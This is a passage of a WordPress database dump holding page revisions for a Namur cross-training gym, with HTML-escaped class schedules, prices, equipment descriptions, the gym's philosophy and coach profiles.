class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:33:42', '2013-07-25 16:33:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-112/', 0, 'revision', '', 0),
(333, 1, '2013-07-25 16:34:48', '2013-07-25 16:34:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:34:48', '2013-07-25 16:34:48', '', 11, 'http://www.crosstrainingcenter.be/11-revision-113/', 0, 'revision', '', 0),
(334, 1, '2013-07-25 16:30:38', '2013-07-25 16:30:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-25 16:30:38', '2013-07-25 16:30:38', '', 22, 'http://www.crosstrainingcenter.be/22-revision-31/', 0, 'revision', '', 0),
(335, 1, '2013-07-04 19:25:18', '2013-07-04 19:25:18', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:18', '2013-07-04 19:25:18', '', 5, 'http://www.crosstrainingcenter.be/5-revision-61/', 0, 'revision', '', 0),
(336, 1, '2013-07-10 15:47:02', '2013-07-10 15:47:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 